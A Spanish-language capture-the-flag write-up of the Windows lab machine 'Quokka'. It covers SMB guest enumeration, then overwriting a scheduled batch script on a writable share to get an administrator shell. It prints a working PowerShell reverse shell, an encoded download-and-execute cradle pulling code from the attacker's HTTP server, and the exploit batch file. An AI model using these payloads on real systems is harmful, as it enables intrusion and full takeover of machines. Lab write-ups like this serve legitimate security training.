Quokka – TheHackersLabs Link to heading
- OS: Windows
- Difficulty / Dificultad: Easy /Fácil
- Platform: TheHackersLabs
Resumen Link to heading
“Quokka” es una máquina de dificultad fácil de la plataforma TheHackersLabs
. Luego de inspeccionar recursos compartidos a través de SMB
como usuario anónimo en la máquina víctima, somos capaces de encontrar un script .bat
el cual es ejecutado cada minuto. Dado que tenemos permisos de escritura sobre este recurso compartido, somos capaces de sobreescribir este script por uno malicioso y ganar así acceso a la máquina víctima. Ganamos acceso como un usuario privilegiado, teniendo control total del sistema.
User / Usuario Link to heading
Empezamos con un escaneo rápido con Nmap
sobre la máquina víctima:
❯ sudo nmap -sS -p- --min-rate=5000 --open -n -Pn -vvv 10.20.1.145
Podemos ver múltiples puertos abiertos. Entre ellos podemos ver: 80
HTTP
con Microsoft Internet Information Services
, 135
Microsoft RPC
, 445
Server Message Block
(SMB
), 5985
Windows Remote Management
(WinRM
).
Revisando sus versiones y aplicando algunos scripts de reconocimiento con la flag -sVC
flag retorna:
❯ sudo nmap -sVC -p80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 10.20.1.145
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-03 04:53 -03
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.20.1.145
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Portfolio y Noticias Tech de Quokka
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Datacenter 14393 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:FF:0F:BA (Oracle VirtualBox virtual NIC)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-11-03T07:53:59
|_ start_date: 2024-11-03T07:44:25
|_nbstat: NetBIOS name: WIN-VRU3GG3DPLJ, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:ff:0f:ba (Oracle VirtualBox virtual NIC)
| smb-os-discovery:
| OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016 Datacenter 6.3)
| Computer name: WIN-VRU3GG3DPLJ
| NetBIOS computer name: WIN-VRU3GG3DPLJ\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024-11-03T08:53:59+01:00
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -19m58s, deviation: 34m37s, median: 0s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.16 seconds
Visitando http://10.20.1.145
(el sitio web HTTP
de la página víctima) muestra una especie de blog/notas sobre ciberseguridad.
Pero el sitio no dice mucho más fuera de este tópico.
Del output del escaneo de Nmap
podemos ver que el servicio SMB
permite loguearse como usuario guest
(invitado). Podemos usar este acceso para, primero, ver si tenemos acceso a algún recurso compartido. Para ello utilizamos la herramienta NetExec
:
❯ nxc smb 10.20.1.145 -u 'guest' -p '' --shares
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:WIN-VRU3GG3DPLJ) (signing:False) (SMBv1:True)
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ [+] WIN-VRU3GG3DPLJ\guest: (Guest)
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ [*] Enumerated shares
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ Share Permissions Remark
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ ----- ----------- ------
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ ADMIN$ Admin remota
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ C$ Recurso predeterminado
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ Compartido READ,WRITE
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ IPC$ IPC remota
Y tenemos un acceso compartido llamado Compartido
donde tenemos los permisos de READ,WRITE
, es decir, podemos leer y escribir archivos en este recurso compartido.
Segundo, también podemos usar NetExec
y la flag --rid-brute
para ver si podemos enumerar usuarios dentro de la máquina víctima:
❯ nxc smb 10.20.1.145 -u 'guest' -p '' --rid-brute
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:WIN-VRU3GG3DPLJ) (signing:False) (SMBv1:True)
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ [+] WIN-VRU3GG3DPLJ\guest: (Guest)
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ 500: WIN-VRU3GG3DPLJ\Administrador (SidTypeUser)
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ 501: WIN-VRU3GG3DPLJ\Invitado (SidTypeUser)
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ 503: WIN-VRU3GG3DPLJ\DefaultAccount (SidTypeUser)
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ 513: WIN-VRU3GG3DPLJ\Ninguno (SidTypeGroup)
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ 1000: WIN-VRU3GG3DPLJ\Omar (SidTypeUser)
SMB 10.20.1.145 445 WIN-VRU3GG3DPLJ 1001: WIN-VRU3GG3DPLJ\0mar (SidTypeUser)
Tenemos 2 potenciales usuarios: Omar
y 0mar
.
Podemos entonces usar la herramienta smbclient
para enumerar archivos dentro del recurso Compartidos
con el comando:
❯ smbclient -U 'guest%' //10.20.1.145/Compartido -c 'recurse; ls'
. D 0 Sun Nov 3 05:22:23 2024
.. D 0 Sun Nov 3 05:22:23 2024
Documentación D 0 Sun Oct 27 11:33:53 2024
Logs D 0 Sun Oct 27 11:33:54 2024
Proyectos D 0 Sun Oct 27 11:33:54 2024
<SNIP>
Vaya. Tenemos bastantes archivos.
Podemos descargar todos estos archivos usando smbclient
como guest
y ejecutando:
❯ smbclient -U 'guest%' //10.20.1.145/Compartido/ -c 'recurse ON; prompt OFF; mget *'
getting file \Documentación\Diagrama_Flujo.pptx of size 0 as Documentación/Diagrama_Flujo.pptx (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \Documentación\Informe_Proyecto.pdf of size 0 as Documentación/Informe_Proyecto.pdf (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \Documentación\Archivos_Antiguos\Antiguo_Informe.docx of size 0 as Documentación/Archivos_Antiguos/Antiguo_Informe.docx (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
<SNIP>
Eventualmente, luego de inspeccionar los archivos descargados, podemos encontrar un archivo llamado mantenimiento.bat
dentro de la carpeta Proyectos/Quokka/Código
con contenido:
@echo off
:: Mantenimiento del sistema de copias de seguridad
:: Este script es ejecutado cada minuto
REM Pista: Tal vez haya algo ms aqu...
:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.36:8000/shell.ps1')"
:: Fin del script
exit
El script tiene una pista para resolver la máquina: el script mantenimiento.bat
es ejecutado constantemente. Recordemos, además, que del output con NetExec
fuimos capaces de ver que teníamos permisos de escritura (WRITE
) en este recurso compartido. ¿Qué tal si probamos sobreescribir el archivo mantenimiento.bat
por un script malicioso? Ya que puede haber alguna tarea ejecutando mantenimiento.bat
, si lo reemplazamos puede que ésta ejecute el script malicioso inyectado.
Para ello crearemos 2 archivos de Powershell
: un archivo llamado cradle.ps1
y otro llamado rev.ps1
. Usualmente hago esto en máquinas Windows
para saber si Windows Defender
bloquea la reverse shell, o si el script en realidad nunca fue ejecutado. Por ende, nos hacemos con una copia de un oneliner de Powershell de Nishang para entablar una reverse shell; lo copiamos y adaptamos su contenido a:
$client = New-Object System.Net.Sockets.TCPClient('10.20.1.110',443);$stream = $client.GetStream();[byte[`$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
donde 10.20.1.110
es nuestra IP de atacante y 443
el puerto en el cual nos pondremos en escucha con netcat
para obtener la reverse shell. Guardamos este código en un archivo llamado rev.ps1
.
Luego, creamos un archivo llamado cradle.ps1
con el contenido:
IEX(New-Object Net.WebClient).downloadString('http://10.20.1.110:8080/rev.ps1')
Este archivo simplemente ejecutará rev.ps1
luego de ser expuesto a través de un servidor HTTP
temporal, como veremos un poquito más adelante.
Encodeamos este payload para que lo pueda interpetar Powershell
:
❯ cat cradle.ps1 | iconv -t utf-16le | base64 -w0; echo
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADIAMAAuADEALgAxADEAMAA6ADgAMAA4ADAALwByAGUAdgAuAHAAcwAxACcAKQAKAA==
y escribimos un archivo llamado exploit.bat
con el contenido:
@echo off
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADIAMAAuADEALgAxADEAMAA6ADgAMAA4ADAALwByAGUAdgAuAHAAcwAxACcAKQAKAA=="
exit
Nos ponemos en escucha con netcat
en el puerto 443
en una terminal aparte:
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
Y, en otra terminal, exponemos los archivos .ps1
creados en un servidor Python
HTTP
temporal por el puerto 8080
:
❯ ls -la && python3 -m http.server 8080
total 16
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Nov 3 05:46 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Nov 3 04:49 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 80 Nov 3 05:46 cradle.ps1
-rw-rw-r-- 1 gunzf0x gunzf0x 501 Nov 3 05:46 rev.ps1
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Finalmente, dado que asumimos que el script mantenimiento.bat
está siendo ejecutado cada minuto (tal cual decía la pista), simplemente subimos nuestro payload exploit.bat
como mantenimiento.bat
a la máquina víctima usando smbclient
, reemplazando así el script original:
❯ smbclient -U 'guest%' //10.20.1.145/Compartido/ -c 'cd Proyectos/Quokka/Código; put exploit.bat mantenimiento.bat'
putting file exploit.bat as \Proyectos\Quokka\Código\mantenimiento.bat (298.8 kb/s) (average 298.8 kb/s)
Podemos ver si esto se ha subido revisando las fechas de modificaciones de los archivos:
❯ smbclient -U 'guest%' //10.20.1.145/Compartido/ -c 'cd Proyectos/Quokka/Código; ls'
. D 0 Sun Oct 27 11:58:54 2024
.. D 0 Sun Oct 27 11:58:54 2024
index.html A 52 Sun Oct 27 11:33:54 2024
mantenimiento - copia.bat A 1252 Sun Oct 27 11:41:43 2024
mantenimiento.bat A 306 Sun Nov 3 05:58:38 2024
README.md A 56 Sun Oct 27 11:33:54 2024
7735807 blocks of size 4096. 4637866 blocks available
Le fecha es diferente para mantenimiento.bat
y, por tanto, debería de haber sido modificado.
Luego de algunos segundos, obtenemos una petición GET
en nuestro servidor Python
HTTP
temporal y, además, obtenemos una shell como el usuario administrador
en nuestro listener con netcat
:
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.20.1.110] from (UNKNOWN) [10.20.1.145] 49746
whoami
win-vru3gg3dplj\administrador
PS C:\Windows\system32>
Recibimos la shell de un usuario privilegiado. GG.
Por último, podemos leer ambas flags (usuario y admin):
PS C:\Windows\system32> type C:\Users\0mar\Desktop\user.txt
9OWi***************
PS C:\Windows\system32> type C:\Users\Administrador\Desktop\admin.txt
j9eC********************
~Happy Hacking